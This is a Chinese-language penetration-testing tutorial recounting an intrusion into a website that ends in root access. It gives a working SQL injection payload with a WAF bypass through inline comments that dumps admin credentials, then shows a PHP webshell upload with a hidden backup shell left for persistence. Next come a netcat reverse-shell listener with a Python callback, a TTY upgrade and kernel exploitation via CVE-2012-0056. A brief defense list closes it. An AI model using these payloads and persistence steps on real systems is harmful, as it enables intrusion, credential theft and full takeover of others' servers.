渗透实战 | 简单的拿下项目的root权限
字数 1712 2025-08-20 18:17:47

SQL注入到Root权限获取实战教学文档

0x00 概述

本教学文档详细记录了一个从SQL注入开始,最终获取目标系统root权限的完整渗透测试过程。攻击链包括:前台SQL注入、WAF绕过、后台文件上传、反弹shell建立、交互式shell升级和内核漏洞提权。

0x01 信息收集阶段

  1. 目标识别
    • 收集到目标的主站、邮件服务器和DNS服务器
    • 选择从主站作为初始攻击入口

0x02 漏洞挖掘与利用

1. SQL注入发现与验证

  1. 发现注入点

    • 在URL参数中发现可疑的id参数:/index.php?id=125
  2. 验证注入类型

    • id=125 and 1=0 → 页面变空白
    • id=125 and 1=1 → 页面恢复正常
    • 确认存在数字型注入(无需注释符)
  3. 确定列数

    • id=125 order by 7 → 页面正常
    • id=125 order by 8 → 页面报错
    • 确认查询返回7列

2. WAF绕过技术

  1. WAF检测

    • id=125 union select 1,2,3,4,5,6,7 → 页面无响应(被WAF拦截)
  2. 逐步测试绕过

    • id=125 union → 页面报错(未过滤"union")
    • id=125 union select → 无响应(过滤"select"或"union select")
    • 大小写混用id=125 union sElecT → 仍被拦截
    • 内联注释id=125union /*!sElecT*/ → 绕过成功(页面报错)
  3. 最终绕过payload

    id=0/**/UniOn/**//*!50000sEleCt*/1,2,3,4,group_concat(concat_ws('@',username,pwd)separator '<br>'),6,7/**/From/**/admin
    
    • 使用空格混淆(/**/)和内联注释(/*!50000sElecT*/)
    • concat_ws函数合并列结果,group_concat合并行结果

3. 后台入侵

  1. 后台发现

    • 在域名后添加/admin发现后台入口
    • 使用注入获取的凭证登录
  2. 文件上传漏洞利用

    • 找到编辑器功能的上传点
    • 无后缀限制和内容检测,直接上传PHP webshell
    • 真实上传路径发现:
      • 图片查看404 → 检查编辑器框架源代码
      • 发现/uploadfiles目录存放原始文件(非/resizeimage缩略图目录)
  3. Webshell管理

    • 使用蚁剑连接成功
    • 在隐蔽目录部署备用webshell并删除原始webshell

0x03 反弹Shell建立

1. 反弹Shell准备

  1. 环境准备

    • 关闭VPS防火墙
    • 在VPS上使用nc -lvnp 9999监听
  2. 写入反弹脚本

    • 通过webshell上传Python反弹脚本

2. 交互式Shell升级

  1. 初始Shell限制

    • HTTP协议无状态,提权后无法保持
    • 无法执行交互性工作和su命令
  2. 完全交互式Shell建立

    $ python -c 'import pty;pty.spawn("/bin/bash")'
    [Ctrl+Z]
    # 在本地终端执行:
    $ stty raw -echo
    $ fg
    # 返回反弹shell:
    $ reset
    $ export SHELL=bash
    $ export TERM=xterm-256color
    $ stty rows <行数> columns <列数>
    

0x04 权限提升

1. SUID提权尝试

  1. 查找SUID文件
    find / -perm -4000 -type f 2>/dev/null
    
    • 检查带有s标志位的文件
    • 尝试使用ping命令提权失败

2. 内核漏洞提权

  1. 利用CVE-2012-0056
    • 成功获取root权限

0x05 攻击链总结

完整攻击路径:

  1. 前台SQL注入 → 2. WAF绕过 → 3. 后台凭证获取 → 4. 文件上传漏洞利用 → 5. Webshell部署 → 6. 反弹Shell建立 → 7. 交互式Shell升级 → 8. 内核漏洞提权

0x06 防御建议

  1. SQL注入防护

    • 使用参数化查询
    • 实施严格的输入验证
    • 最小权限原则配置数据库账户
  2. WAF配置

    • 更新规则库
    • 监控绕过尝试
  3. 文件上传安全

    • 严格限制上传文件类型
    • 检查文件内容
    • 存储在非web可访问目录
  4. 系统加固

    • 及时更新内核补丁
    • 移除不必要的SUID权限
    • 限制交互式Shell功能
  5. 监控与响应

    • 日志审计
    • 异常行为检测
    • 定期渗透测试

附录:关键技术点

  1. MySQL内联注释绕过/*!50000SELECT*/
  2. 反弹Shell升级技术:pty/spawn + stty组合
  3. PostgreSQL提权参考:CVE-2019-9193
  4. SUID提权检查命令find / -perm -4000
  5. 常用信息收集表information_schema
SQL注入到Root权限获取实战教学文档 0x00 概述 本教学文档详细记录了一个从SQL注入开始,最终获取目标系统root权限的完整渗透测试过程。攻击链包括:前台SQL注入、WAF绕过、后台文件上传、反弹shell建立、交互式shell升级和内核漏洞提权。 0x01 信息收集阶段 目标识别 : 收集到目标的主站、邮件服务器和DNS服务器 选择从主站作为初始攻击入口 0x02 漏洞挖掘与利用 1. SQL注入发现与验证 发现注入点 : 在URL参数中发现可疑的 id 参数: /index.php?id=125 验证注入类型 : id=125 and 1=0 → 页面变空白 id=125 and 1=1 → 页面恢复正常 确认存在数字型注入(无需注释符) 确定列数 : id=125 order by 7 → 页面正常 id=125 order by 8 → 页面报错 确认查询返回7列 2. WAF绕过技术 WAF检测 : id=125 union select 1,2,3,4,5,6,7 → 页面无响应(被WAF拦截) 逐步测试绕过 : id=125 union → 页面报错(未过滤"union") id=125 union select → 无响应(过滤"select"或"union select") 大小写混用 id=125 union sElecT → 仍被拦截 内联注释 id=125union /*!sElecT*/ → 绕过成功(页面报错) 最终绕过payload : 使用空格混淆( /**/ )和内联注释( /*!50000sElecT*/ ) concat_ws 函数合并列结果, group_concat 合并行结果 3. 后台入侵 后台发现 : 在域名后添加 /admin 发现后台入口 使用注入获取的凭证登录 文件上传漏洞利用 : 找到编辑器功能的上传点 无后缀限制和内容检测,直接上传PHP webshell 真实上传路径发现: 图片查看404 → 检查编辑器框架源代码 发现 /uploadfiles 目录存放原始文件(非 /resizeimage 缩略图目录) Webshell管理 : 使用蚁剑连接成功 在隐蔽目录部署备用webshell并删除原始webshell 0x03 反弹Shell建立 1. 反弹Shell准备 环境准备 : 关闭VPS防火墙 在VPS上使用 nc -lvnp 9999 监听 写入反弹脚本 : 通过webshell上传Python反弹脚本 2. 交互式Shell升级 初始Shell限制 : HTTP协议无状态,提权后无法保持 无法执行交互性工作和 su 命令 完全交互式Shell建立 : 0x04 权限提升 1. SUID提权尝试 查找SUID文件 : 检查带有s标志位的文件 尝试使用 ping 命令提权失败 2. 内核漏洞提权 利用CVE-2012-0056 : 成功获取root权限 0x05 攻击链总结 完整攻击路径: 前台SQL注入 → 2. WAF绕过 → 3. 后台凭证获取 → 4. 文件上传漏洞利用 → 5. Webshell部署 → 6. 反弹Shell建立 → 7. 交互式Shell升级 → 8. 内核漏洞提权 0x06 防御建议 SQL注入防护 : 使用参数化查询 实施严格的输入验证 最小权限原则配置数据库账户 WAF配置 : 更新规则库 监控绕过尝试 文件上传安全 : 严格限制上传文件类型 检查文件内容 存储在非web可访问目录 系统加固 : 及时更新内核补丁 移除不必要的SUID权限 限制交互式Shell功能 监控与响应 : 日志审计 异常行为检测 定期渗透测试 附录:关键技术点 MySQL内联注释绕过 : /*!50000SELECT*/ 反弹Shell升级技术 :pty/spawn + stty组合 PostgreSQL提权参考 :CVE-2019-9193 SUID提权检查命令 : find / -perm -4000 常用信息收集表 : information_schema